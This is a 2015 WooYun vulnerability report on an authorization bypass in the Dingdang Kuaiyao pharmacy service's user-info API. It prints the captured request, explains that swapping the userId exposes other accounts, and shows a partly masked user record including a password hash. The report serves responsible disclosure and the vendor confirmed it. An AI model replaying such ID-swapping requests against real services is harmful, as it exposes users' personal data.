当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136404

漏洞标题:叮当快药某处权限绕过 (影响几十万用户数据)

相关厂商:ddsy.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-08-24 12:05

修复时间:2015-10-08 12:30

公开时间:2015-10-08 12:30

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

上一个漏洞说了个任意账号登陆···然而···我再往下挖时发现了一个更大的秘密····想知道这个秘密吗?

详细说明:

上一个漏洞 我登陆了 13800138000 然后我点了下账号管理···也就是 13800138000 那个位置

4.png


然后···发现了这个····

0.png


赶紧抓了下包···

GET /user/rest.htm?method=ddsy.user.query.user.info&userId=1000439330&login=13800138000&v=1.0&t=2015-08-23%2022:49:27&sign=0F949B01E212048D2AE6BCFB423E1015 HTTP/1.1
Host: passport.ddsy.com
imei: 8C22C631-C6B7-4C4D-87E0-8CD7CFFA8585
versionName: 2.2.0
platform: iOS
Connection: close
User-Agent: 叮当快药 2.2.0 rv:2.4 (iPad; iPhone OS 8.4; zh_CN)
Accept-Encoding: gzip
idfa: 974AA496-5123-4C0D-A509-EF362B85BC09


1.png


一看见一个 userid 就知道有戏 赶紧修改成别的id 试试

2.png


我们在换一个试试

3.png


{"code":0,"data":{"address":"","answer":"","birthDate":"1998-06-22 00:00:00","birthday":"1998-06-22","changedAt":"2015-08-23 23:00:06","changedBy":"157508XXXXXXX","city":"","country":"","createdAt":"2015-08-23 22:59:52","createdBy":"157508XXXXXXX","education":"","email":"","height":0,"homePhone":"","id":1000681932,"imei":"865267029XXXXXXX","income":"","login":"157508XXXXX","loginStatus":0,"marry":0,"mobilePhone":"157508XXXXXX","nickName":"","password":"5781d2620019df4ebed6766XXXXXXXXXX","province":"","question":"","realName":"","sex":"","smsCode":"","source":"","status":1,"type":0,"userType":0,"verificationCode":"","weight":0,"zipcode":""},"msg":"success"}


这····我也不说了····信息说明了一切····

漏洞证明:

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-24 12:29

厂商回复:

已确认

最新状态:

暂无